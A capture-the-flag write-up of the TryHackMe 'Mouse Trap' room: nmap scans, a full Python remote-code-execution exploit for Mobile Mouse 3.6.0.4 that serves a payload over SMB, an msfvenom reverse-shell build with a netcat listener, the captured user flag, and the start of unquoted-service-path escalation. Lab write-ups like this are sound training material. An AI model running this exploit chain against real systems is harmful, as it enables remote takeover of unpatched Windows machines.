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Try Hack Me/Mouse Trap

Try Hack Me / Mouse Trap

by: alfreddgreat

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root@ip-10-10-123-135:~# nmap -sS -sC -sV 10.10.162.0

root@ip-10-10-123-135:~# nmap -sS -sC -sV -O 10.10.162.0
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-30 22:19 BST
Nmap scan report for 10.10.162.0
Host is up (0.00035s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: MOUSETRAP
|   NetBIOS_Domain_Name: MOUSETRAP
|   NetBIOS_Computer_Name: MOUSETRAP
|   DNS_Domain_Name: MOUSETRAP
|   DNS_Computer_Name: MOUSETRAP
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-30T21:22:42+00:00
| ssl-cert: Subject: commonName=MOUSETRAP
| Not valid before: 2024-12-08T13:53:36
|_Not valid after:  2025-06-09T13:53:36
|_ssl-date: 2025-03-30T21:23:10+00:00; 0s from scanner time.
9099/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.0 200 OK 
|     Server: Mobile Mouse Server 
|     Content-Type: text/html 
|     Content-Length: 326
|_    <HTML><HEAD><TITLE>Success!</TITLE><meta name="viewport" content="width=device-width,user-scalable=no" /></HEAD><BODY BGCOLOR=#000000><br><br><p style="font:12pt arial,geneva,sans-serif; text-align:center; color:green; font-weight:bold;" >The server running on "MOUSETRAP" was able to receive your request.</p></BODY></HTML>
9999/tcp open  abyss?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9099-TCP:V=7.80%I=7%D=3/30%Time=67E9B591%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1A7,"HTTP/1\.0\x20200\x20OK\x20\r\nServer:\x20Mobile\x20Mouse\
SF:x20Server\x20\r\nContent-Type:\x20text/html\x20\r\nContent-Length:\x203
SF:26\r\n\r\n<HTML><HEAD><TITLE>Success!</TITLE><meta\x20name=\"viewport\"
SF:\x20content=\"width=device-width,user-scalable=no\"\x20/></HEAD><BODY\x
SF:20BGCOLOR=#000000><br><br><p\x20style=\"font:12pt\x20arial,geneva,sans-
SF:serif;\x20text-align:center;\x20color:green;\x20font-weight:bold;\"\x20
SF:>The\x20server\x20running\x20on\x20\"MOUSETRAP\"\x20was\x20able\x20to\x
SF:20receive\x20your\x20request\.</p></BODY></HTML>\r\n")%r(FourOhFourRequ
SF:est,1A7,"HTTP/1\.0\x20200\x20OK\x20\r\nServer:\x20Mobile\x20Mouse\x20Se
SF:rver\x20\r\nContent-Type:\x20text/html\x20\r\nContent-Length:\x20326\r\
SF:n\r\n<HTML><HEAD><TITLE>Success!</TITLE><meta\x20name=\"viewport\"\x20c
SF:ontent=\"width=device-width,user-scalable=no\"\x20/></HEAD><BODY\x20BGC
SF:OLOR=#000000><br><br><p\x20style=\"font:12pt\x20arial,geneva,sans-serif
SF:;\x20text-align:center;\x20color:green;\x20font-weight:bold;\"\x20>The\
SF:x20server\x20running\x20on\x20\"MOUSETRAP\"\x20was\x20able\x20to\x20rec
SF:eive\x20your\x20request\.</p></BODY></HTML>\r\n");
MAC Address: 02:23:36:E3:FF:87 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=3/30%OT=135%CT=1%CU=37501%PV=Y%DS=1%DC=D%G=Y%M=022336%
OS:TM=67E9B63F%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=
OS:I%SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=
OS:M5B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF7
OS:0)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)

Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: MOUSETRAP, NetBIOS user: <unknown>, NetBIOS MAC: 02:23:36:e3:ff:87 (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-30T21:22:42
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.34 seconds

root@ip-10-10-123-135:~# nmap --script vuln 10.10.162.0

root@ip-10-10-123-135:~# nmap --script vuln 10.10.162.0
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-30 22:04 BST
Nmap scan report for 10.10.162.0
Host is up (0.00025s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp  open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp  open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp open  ms-wbt-server
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
9099/tcp open  unknown
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
9999/tcp open  abyss
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 02:23:36:E3:FF:87 (Unknown)

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 59.82 seconds

Using port 9099 in the browser

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In the first port, version scan we see that there is a Mobile Mouse Server

Search for an exploit in the internet and the following from github appears

https://github.com/blue0x1/mobilemouse-exploit?tab=readme-ov-file

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Using the V2 version: CVE-2023-31902-v2.py

# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution v2 
# Date: Apr 28, 2023
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mobilemouse.com/
# Software Link: https://www.mobilemouse.com/downloads/setup.exe
# Version: 3.6.0.4
# Tested on: Windows 10 Enterprise LTSC Build 17763

#!/usr/bin/env python3

import socket
from time import sleep
import argparse
import threading
from impacket import smbserver

def smb_server(lhost, file_to_serve):
    server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
    server.addShare("share", ".", "")
    server.start()

help = " Mobile Mouse 3.6.0.4 Remote Code Execution "
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--target", help="Target IP", required=True)
parser.add_argument("--file", help="File name to Upload", required=True)
parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")

args = parser.parse_args()

host = args.target
command_shell = args.file
lhost = args.lhost
port = 9099 # Default port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 256)
s.connect((host, port))


smb_server_thread = threading.Thread(target=smb_server, args=(lhost, command_shell))
smb_server_thread.start()

CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04")
s.send(CONN)
run = s.recv(54)

RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")
s.send(RUN)
run = s.recv(54)

sleep(0.5)

payload = f"cmd.exe /c start /B \\\\{lhost}\\share\\{command_shell}".encode('utf-8')
hex_payload = payload.hex()
SHELL = bytearray.fromhex("4B45591E3130301E" + hex_payload + "1E04" + "4b45591e2d311e454e5445521e04")
s.send(SHELL)
shell = s.recv(96)

print("Take The rose...")

sleep(30)
s.close()

Save the file to a mousemobile.py using the code above

Now create an executable remote shell execution using the msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_LOCAL_MACHINE LPORT=PORT_LOCAL -f exe > shell-x64.exe

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Using the mousemobile.py and using the shell-x64.exe as the code to be executed.

Take note that shell-x64.exe has been created using port 446

First open a terminal and run the following command

nc -lnvp 446

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Leave it open and open another terminal and now we will exploit the mouse application using the python script.

python3 mousemobile.py --target 10.10.162.0 --lhost 10.10.123.135 --file shell-x64.exe

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Now with the first terminal where netcat is opened, it should have connected.

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Now we have a windows terminal opened.

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Get the flag in the user.txt

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THM{Terry_mouse_2_rce}

Exploiting the Unquoted Path

Search the unquoted path of a service using the command below.

Using shapup.exe

C:\Users\purpletom>SharpUp.exe audit
SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.

=== Services with Unquoted Paths ===
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program' is modifable.
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program Files' is modifable.
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program Files (x86)\Mobile Mouse\Mouse' is modifable.

'C:\Program Files (x86)\Mobile Mouse\Mouse' is modifable.

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